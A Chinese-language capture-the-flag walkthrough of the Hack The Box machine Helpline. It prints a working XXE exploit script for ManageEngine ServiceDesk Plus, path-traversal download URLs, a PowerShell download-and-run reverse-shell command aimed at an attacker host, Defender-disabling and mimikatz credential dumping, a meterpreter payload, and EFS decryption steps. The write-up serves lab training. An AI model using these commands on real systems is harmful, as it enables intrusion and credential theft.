写点什么

渗透测试系列之靶机渗透

  • 2022 年 4 月 12 日
  • 本文字数:8675 字

    阅读完需:约 28 分钟

Helpline 是一个困难的靶机,知识点涉及 EFS 解密和 ME SDP 的多个漏洞,包括 XXE 漏洞、LFI\任意文件下载漏洞、身份认证绕过漏洞以及远程代码执行漏洞等.


通关思维导图


0x01 侦查

端口探测

首先使用 nmap 进行端口扫描


nmap -Pn -p- -sV -sC -A 10.10.10.132 -oA nmap_Helpline
复制代码




扫描结果显示目前靶机开放了 135、445、5985、8080 以及 49667 端口

445 端口

使用 smbclient 和 smbmap 查看默认共享,结果显示访问被拒绝


smbclient -N -L //10.10.10.132smbmap -H 10.10.10.132 -v
复制代码



【一>所有资源获取<一】1、很多已经买不到的绝版电子书 2、安全大厂内部的培训资料 3、全套工具包 4、100 份 src 源码技术文档 5、网络安全基础入门、Linux、web 安全、攻防方面的视频 6、应急响应笔记 7、 网络安全学习路线 8、ctf 夺旗赛解析 9、WEB 安全入门笔记

8080 端口

访问后是一个 ManageEngine ServiceDesk Plus 站点,版本为 9.3



在 ManageEngine ServiceDesk Plus 存在两个默认账户


administrator/administratorguest/guest
复制代码


administrator 无法登陆,尝试登陆 guest 账户可成功进入应用,



Solution选项卡中可以看到Password Audit



点进去后发现存在一个 excel 表格



下载打开后只有三个表



通过 binwalk 分解该表格发现其中其实存在四张表,说明原来有一张表被隐藏了


binwalk -e Password+Audit.xlsx
复制代码



选择工作表右键,点击取消隐藏发现Password Data工作表




在该表格中包含一些密码和文件路径C:\temp\Password Audit\it_logins.txt,在路径对应的文件中可能包含一些登录信息


0x02 上线[system]

ME SDP 漏洞

ManageEngine ServiceDesk Plus 的 9.3 版本存在许多漏洞,下面将利用这些漏洞来对该应用进行攻击

XXE 漏洞(CVE-2017-9362)

在 CMDB API 中的 INPUT_DATA 字段中添加 CI 时会造成 XML 外部实体注入攻击,攻击者可在发送数据时将任何系统文件包含到 payload 当中,根据该漏洞可编写脚本如下:


import requestsimport sys
xxe = """<!DOCTYPE foo [<!ENTITY xxe15d41 SYSTEM "file:///{filepath}"> ]><API version='1.0' locale='en'> <records> <record> <parameter> <name>CI Name</name> <value>Tomcat Server 3 0xdfstart&xxe15d41;0xdfstop</value> </parameter> </record> </records></API>"""
def get_file(ip_address, filepath): login_url = "http://"+ip_address+":8080/j_security_check" api_url = "http://"+ip_address+":8080/api/cmdb/ci" login_data={"j_username": "guest", "j_password": "guest", "LDAPEnable": "false", "hidden": "Select a Domain", "hidden": "For Domain", "AdEnable": "false", "DomainCount": "0", "LocalAuth": "No", "LocalAuthWithDomain": "No", "dynamicUserAddition_status": "true", "localAuthEnable": "true", "logonDomainName": "-1", "loginButton": "Login", "checkbox": "checkbox"}
with requests.Session() as s: s.post(login_url, data=login_data) xxe_data={"OPERATION_NAME": "add", "INPUT_DATA": xxe.format(filepath=filepath)} response = s.post(api_url, data=xxe_data) try: print(response.text[response.text.index("0xdfstart") + len("0xdfstart"):response.text.index("0xdfstop")].replace("\\r\\n","\n")) except ValueError: print("Error: No data returned")
if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} [ip] [filepath]\nfilepath can be file on target, or smb or http uri") sys.exit(1)get_file(sys.argv[1],sys.argv[2].replace("\\", "/"))
复制代码


尝试获取win.ini,能够成功读取win.ini


python3 xxe.py 10.10.10.132 "C:\windows\win.ini"
复制代码



尝试读取以上的密码文件中的密码


python3 xxe.py 10.10.10.132 "C:\temp\Password Audit\it_logins.txt"
复制代码



成功拿到账号密码为alice/$sys4ops@megabank!

任意文件下载(CVE-2017-11511)

除了 XXE 漏洞以外,ME SDP 9.3 由于对下载文件的 URL 路径名限制不当,因此还存在任意文件下载漏洞。攻击者可通过..\进行目录穿越下载目标文件。与请求 C 盘的 win.ini 不同,在报错信息中则显示 ME SDP 安装在 E 盘。尝试获取其备份文件的日志信息,默认访问路径为E:\ManageEngine\ServiceDesk\bin\SDPbackup.log


http://10.10.10.132:8080/fosagent/repl/download-file?basedir=4&filepath=\..\..\..\..\..\..\manageengine\servicedesk\bin\sdpbackup.log
复制代码



在日志中记录了组成数据库备份文件的具体位置,文件名分别如下:


backup_postgres_9309_fullbackup_04_12_2019_17_43_part_1.databackup_postgres_9309_fullbackup_04_12_2019_17_43_part_2.data
复制代码


使用 wget 通过任意文件下载漏洞把它们下载下来


wget "http://10.10.10.132:8080/fosagent/repl/download-file?basedir=4&filepath=\..\..\..\..\..\..\manageengine\servicedesk\backup\backup_postgres_9309_fullbackup_03_08_2019_09_04\backup_postgres_9309_fullbackup_03_08_2019_09_04_part_1.data"wget "http://10.10.10.132:8080/fosagent/repl/download-file?basedir=4&filepath=\..\..\..\..\..\..\manageengine\servicedesk\backup\backup_postgres_9309_fullbackup_03_08_2019_09_04\backup_postgres_9309_fullbackup_03_08_2019_09_04_part_2.data"
复制代码



解压下载后发现其中包含许多 SQL 文件


unzip backup_postgres_9309_fullbackup_03_08_2019_09_04_part_1.dataunzip backup_postgres_9309_fullbackup_03_08_2019_09_04_part_2.data
复制代码



aaapassword.sqlaaalogin.sql中存在我们需要的账户名以及哈希值



经过整理后哈希值如下且哈希类型为bcrypt


$2a$12$6VGARvoc/dRcRxOckr6WmucFnKFfxdbEMcJvQdJaS5beNK0ci0laG$2a$12$2WVZ7E/MbRgTqdkWCOrJP.qWCHcsa37pnlK.0OyHKfd4lyDweMtki$2a$12$Em8etmNxTinGuub6rFdSwubakrWy9BEskUgq4uelRqAfAXIUpZrmm$2a$12$hmG6bvLokc9jNMYqoCpw2Op5ji7CWeBssq1xeCmU.ln/yh0OBPuDa$2a$12$6sw6V2qSWANP.QxLarjHKOn3tntRUthhCrwt7NWleMIcIN24Clyyu$2a$12$X2lV6Bm7MQomIunT5C651.PiqAq6IyATiYssprUbNgX3vJkxNCCDa$2a$12$gFZpYK8alTDXHPaFlK51XeBCxnvqSShZ5IO/T5GGliBGfAOxwHtHu$2a$12$4.iNcgnAd8Kyy7q/mgkTFuI14KDBEpMhY/RyzCE4TEMsvd.B9jHuy
复制代码


bcrypt 函数的输入是密码字符串(最多 72 个字节)、一个数字成本和一个 16 字节(128 位)的盐值。盐通常是一个随机值。它使用这些输入来计算 24 字节(192 位)散列。最终输出以下形式的字符串:


$2<a/b/x/y>$[cost]$[22 字符盐][31 字符哈希]
复制代码


例如:输入密码 abc123xyz、成本 12 和随机盐,bcrypt 的输出是字符串


$2a$12$R9h/cIPz0gi.URNNX3kh2OPST9/PgBkqquzi.Ss7KIUgO2t0jWMUW\__/\/ \____________________/\_____________________________/Alg 成本盐哈希
复制代码


幸运的是,我们可以使用 hashcat 进行破解


hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt --force
复制代码



最终成功破解后三个密码,与用户名组合后整理如下:


zachary_33258/0987654321fiona/1q2w3e4rmary/1234567890
复制代码

身份验证绕过

除了通过 guest 账户登录应用外,我们还可以通过/mc目录来绕过 administrator 的登录验证。


首先访问/mc目录并注销已经登陆的 guest 账户



输入账号密码均为 administrator,其实密码任意输入也没关系,但用户名不能发生变化



成功登录目标系统



在 0xdf 大神的博客中讲述多条线路进行突破,分别是在 kali 下运用 administrator 账户获取 system 权限以及在 Windows 下使用之前获取的 Alice 用户通过 WinRM 进行权限提升,相比 Windows 下的操作,我更喜欢使用 kali 来完成

远程命令执行

通过权限绕过我们已经拿到了管理员用户,在Admin管理模块上存在Custom Triggers远程命令执行漏洞



点击Add New Action设置新的触发器



Action中设置触发器脚本,将触发优先级设置为高并设置用于反弹 shell 的脚本命令


cmd /c powershell iwr -uri 10.10.14.4/nc64.exe -outfile c:\windows\system32\spool\drivers\color\nc.exe; c:\windows\system32\spool\drivers\color\nc.exe -e cmd.exe 10.10.14.4 443
复制代码



保存完成后在本地监听 443 端口


nc -nvlp 443
复制代码


与此同时开启 http 服务


python -m Simple HTTPServer 80
复制代码


在请求页面中新建请求并将优先级设置为高



请求运行后查看本地监听发现已返回 system 权限


0x03 突破 EFS

Windows 上的加密文件系统( EFS )是 NTFS 3.0 版中引入的一项功能,可提供文件系统级加密。该技术使文件能够被透明地加密,以保护机密数据免受对计算机进行物理访问的攻击者的侵害。


EFS 加密解密都是透明完成, 如果用户加密了一些数据, 那么其对这些数据的访问将是完全允许的, 并不会受到任何限制。而其他非授权用户试图访问加密过的数据时, 就会收到“拒绝访问”的错误提示。


与一般的加密软件不同,EFS 加密不是靠双击文件,然后弹出一个对话框,然后输入正确的密码来确认的用户的。EFS 加密的用户确认工作在登录到 Windows 时就已经进行了,不需要提供额外的密码。只有使用适当的账户登录,才能打开相应的加密文件。所以解密 EFS 的核心就是如何获取到对应用户的身份凭证。

用户进程突破 EFS

日志信息收集

虽然拿到了系统权限,但是 flag 都经过 EFS 加密,因此导致我们无法读取。


type c:\Users\Administrator\Desktop\root.txt
复制代码



尝试上传 mimikatz 进行密码破解,但是无法执行


cd c:\windows\system32\spool\drivers\color\powershell iwr -uri 10.10.14.4/mimikatz.exe -outfile m.exe.\m.exe
复制代码



这是因为它已经被 Windows Defender 所隔离,我们可以制作免杀 mimikatz 或禁用 Windows Defender,在这里我选择了后者。(话说免杀 mimikatz 也不难,有手就行)


powershell Set-MpPreference -DisableRealtimeMonitoring $truepowershell iwr -uri 10.10.14.4/mimikatz.exe -outfile m.exe.\m.exe
复制代码



继续运行它获取密码,但是结果还是显示报错


privilege::debugsekurlsa::logonpasswords
复制代码



这个问题已经在 GitHub 中得到了反馈,解决方法是我们需要一个老版本的猕猴桃来完成上传


powershell iwr -uri 10.10.14.4/mimikatz2.exe -outfile m2.exe.\m.exe
复制代码


下载一个老版本 mimikatz 并运行


privilege::debuglsadump::sam
复制代码



通过整理后发现以下用户及其对应的 NTLM 哈希值


AdministratorGuestalicezacharyleonielstolu
复制代码


其中唯一可以破解成功的是zachary/0987654321,但是该用户并非管理员权限


net user zachary
复制代码



继续查询发现该用户位于日志权限读取组中,据此推测日志中可能会会有存密码,尝试查询日志


wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321 > eventlog.txt type eventlog.txt | findstr tolu
复制代码



在日志中发现泄漏的账号密码为tolu/!zaq1234567890pl!99,同时该用户还是管理员权限



日志文件中出现用户名和密码。这就说明该用户可能已经登陆,借助 MSF 可注入该用户进程

MSF 进程注入

使用 msfvenom 生成 exe 类型木马


msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.4 lport=4444 -f exe -o msf.exe
复制代码



在本地开启 smb 共享并设置账号密码


python3 smbserver.py -smb2support -username mac -password mac share /root/hackthebox/Machines/Helpline
复制代码



在本地设置 msf 监听


msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.10.14.4; set lport 4444; exploit -j;"
复制代码



通过 smb 共享来运行该执行程序


net use \\10.10.14.4\share /u:mac mac\\10.10.14.4\share\msf.exe
复制代码



成功收到 meterpreter 会话,查看进程


meterpreter > ps
复制代码



但是其中只发现了leo的进程,并没有发现tolu的进程,难道又是哪出现了问题?所幸查询了leo用户权限后发现leo也是管理员权限,话不多说直接注入该用户的explorer.exe进程


meterpreter > migrate 4584
复制代码



在该用户桌面上发现密码文件admin-passs.xml,根据文件名猜测可能是 administrator 的密码


meterpreter > load_powershellmeterpreter > powershell_shellPS > cd C:\Users\leo\DesktopPS > ls
复制代码



但是密码显示为密文,我们尝试通过 poweshell 将其转换为 administrator 的登陆凭证


PS > type admin-pass.xmlPS > $s = cat admin-pass.xmlPS > $ss = Convertto-securestring -string $sPS > $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist "administrator", $ssPS > $cred.GetNetWorkCredential().password
复制代码



成功读取到密码为mb@letmein@SERVER#acc,既然有了 administrator 的凭证,尝试读取其桌面下的root.txt,但还是显示报错


PS > Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhostPS > Invoke-Command -ScriptBlock { type C:\Users\Administrator\Desktop\root.txt } -Credential $cred -Computer localhost
复制代码



通过-auth CredSSP来进行认证,从而绕过 EFS 并成功读取到 flag


PS > Invoke-Command -ScriptBlock { type C:\users\administrator\desktop\root.txt } -Credential $cred -Computer localhost -auth credssp
复制代码


证书解密 EFS

揭秘 EFS 指南:https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files解密 EFS 文件可根据 mimikatz 中的指南来进行操作。根据指南我们首先需要获取用户的公钥证书以及对应密钥,证书地址位于用户目录的AppData\Roaming\Microsoft\SystemCertificates\My\Certificates,使用 mimikatz 可获取公钥证书信息并保存为 der 文件,同时可发现对应密钥的容器;密钥地址位于用户目录的AppData\Roaming\Microsoft\Crypto\RSA,使用 mimikatz 可获取私钥信息并从中找到生成该密钥的主密钥名;主密钥位于用户目录的\Users\Administrator\AppData\Roaming\Microsoft\Protect\,以发现密钥容器 ID 为路径可在其中找到用于生成以上密钥的主密钥;使用 mimikatz 借助 administrator 账户的密码解密主密钥,生成的 key 以及 sha1 就是主密钥的值;之后使用 mimikatz 封装私钥为 pvk 文件,将作为公钥的 der 文件和作为私钥的 pvk 文件传入本地,在本地使用 openssl 转换为 pem 格式并最终生成 pfx 文件,将 pfx 安装至靶机当中即可获取到对应的权限,从而完成 EFS 解密

读取 root.txt

切换到 system 用户寻找 administrator 用户的公钥证书,在目标路径下拿到公钥为FB154575993A250FE826DBAC79EF26C211CB77B3


cd C:\Users\administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificatesdir /a /b
复制代码



使用 mimikatz 可获取证书信息并保存,同时发现密钥的容器为3dd3e213-bce6-4acb-808c-a1b3227ecbde,但是一般情况下容器 ID 并不会指向密钥


crypto::system /file:"C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\FB154575993A250FE826DBAC79EF26C211CB77B3" /export
复制代码



在目录C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA中尝试获取私钥,发现一个容器 ID 为S-1-5-21-3107372852-1132949149-763516304-500,其中可能存放着私钥文件


cd C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSAdir /a /b
复制代码



继续探索发现隐藏的密钥文件d1775a874937ca4b3cd9b8e334588333_86f90bf3-9d4c-47b0-bc79-380521b14c85


cd S-1-5-21-3107372852-1132949149-763516304-500dir /a /b
复制代码



使用 mimikatz 查看对应的私钥,该私钥由主密钥9e78687d-d881-4ccb-8bd8-bc0a19608687生成


dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-500\d1775a874937ca4b3cd9b8e334588333_86f90bf3-9d4c-47b0-bc79-380521b14c85"
复制代码



根据目录C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\和获取到的容器S-1-5-21-3107372852-1132949149-763516304-500找到加密的主密钥9e78687d-d881-4ccb-8bd8-bc0a19608687


cd C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-3107372852-1132949149-763516304-500dir /a
复制代码



使用 mimikatz 通过 administrator 的密码来解密主密钥9e78687d-d881-4ccb-8bd8-bc0a19608687,解密成功后生成的 key、sha1 就是主密钥的值


dpapi::masterkey /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-3107372852-1132949149-763516304-500\9e78687d-d881-4ccb-8bd8-bc0a19608687" /password:mb@letmein@SERVER#acc
复制代码



使用 mimikatz 将私钥封装为 pvk 文件


dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-500\d1775a874937ca4b3cd9b8e334588333_86f90bf3-9d4c-47b0-bc79-380521b14c85"
复制代码



将私钥生成的 pvk 与公钥生成的 der 文件通过 smb 共享复制到本地


net use \\10.10.14.4\share /u:mac maccopy \windows\system32\spool\drivers\color\raw_exchange_capi_0_3dd3e213-bce6-4acb-808c-a1b3227ecbde.pvk \\10.10.14.4\share\copy \windows\system32\spool\drivers\color\FB154575993A250FE826DBAC79EF26C211CB77B3.der \\10.10.14.4\share\
复制代码



利用 openssl 将拿到的 pvk 以及 der 导出为 pem 格式,通过它们生成 pfx 文件,里面存储了 adminisrator 的私钥以及与之有关的证书链


openssl x509 -inform DER -outform PEM -in FB154575993A250FE826DBAC79EF26C211CB77B3.der -out public.pemopenssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_3dd3e213-bce6-4acb-808c-a1b3227ecbde.pvk  -out private.pemopenssl pkcs12 -in public.pem -inkey private.pem -password pass:mac -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
复制代码



通过 smb 共享将生成的 pfx 文件放回靶机当中并安装


copy \\10.10.14.4\share\cert.pfx \windows\system32\spool\drivers\color\cert.pfxcertutil -user -p mac -importpfx \windows\system32\spool\drivers\color\cert.pfx NoChain,NoRoot
复制代码



安装完成后即可读取root.txt


type c:\\users\administrator\desktop\root.txt
复制代码


读取 user.txt

在 tolu 用户的桌面上我们可以发现 user.txt


dir c:\Users\tolu\Desktop /b
复制代码



同理我们需要解密 tolu 用户的 EFS,首先需要获取公钥证书


dir C:\Users\tolu\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates /a /b
复制代码



在 mimikatz 中寻找证书信息并导出


crypto::system /file:"C:\Users\tolu\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\91EF5D08D1F7C60AA0E4CEE73E050639A669\2\F29" /export
复制代码



在目录C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011找到密钥容器307da0c2172e73b4af3e45a97ef0755b_86f90bf3-9d4c-47b0-bc79-380521b14c85


dir C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\ /a /bdir C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011 /a /b
复制代码



使用 mimikatz 查看对应的私钥,该私钥由主密钥2f452fc5-c6d2-4706-a4f7-1cd6b891c017生成


dpapi::capi /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011\307da0c2172e73b4af3e45a97ef0755b_86f90bf3-9d4c-47b0-bc79-380521b14c85"
复制代码



使用 mimikatz 通过 tolu 的密码来解密主密钥2f452fc5-c6d2-4706-a4f7-1cd6b891c017,解密成功后生成的 key、sha1 就是主密钥的值


dpapi::masterkey /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Protect\S-1-5-21-3107372852-1132949149-763516304-1011\2f452fc5-c6d2-4706-a4f7-1cd6b891c017" /password:!zaq1234567890pl!99
复制代码



使用 mimikatz 将私钥封装为 pvk 文件


dpapi::capi /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011\307da0c2172e73b4af3e45a97ef0755b_86f90bf3-9d4c-47b0-bc79-380521b14c85"
复制代码



将私钥生成的 pvk 与公钥生成的 der 文件通过 smb 共享复制到本地


copy \windows\system32\spool\drivers\color\raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk \\10.10.14.4\share\copy \windows\system32\spool\drivers\color\91EF5D08D1F7C60AA0E4CEE73E050639A669\2\F29.der \\10.10.14.4\share\
复制代码



利用 openssl 将拿到的 pvk 以及 der 导出为 pem 格式,通过它们生成 pfx 文件,里面存储了 tolu 的私钥以及与之有关的证书链


openssl x509 -inform DER -outform PEM -in 91EF5D08D1F7C60AA0E4CEE73E050639A669\2\F29.der -out public-1.pemopenssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk  -out private-1.pemopenssl pkcs12 -in public-1.pem -inkey private-1.pem -password pass:mac -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert-1.pfx
复制代码



通过 smb 共享将生成的 pfx 文件放回靶机当中并安装


copy \\10.10.14.4\share\cert-1.pfx \windows\system32\spool\drivers\color\cert-1.pfxcertutil -user -p mac -importpfx \windows\system32\spool\drivers\color\cert-1.pfx NoChain,NoRoot
复制代码



安装完成后可成功读取user.txt


type c:\\users\tolu\desktop\user.txt
复制代码



用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
渗透测试系列之靶机渗透_网络安全_网络安全学海_InfoQ写作平台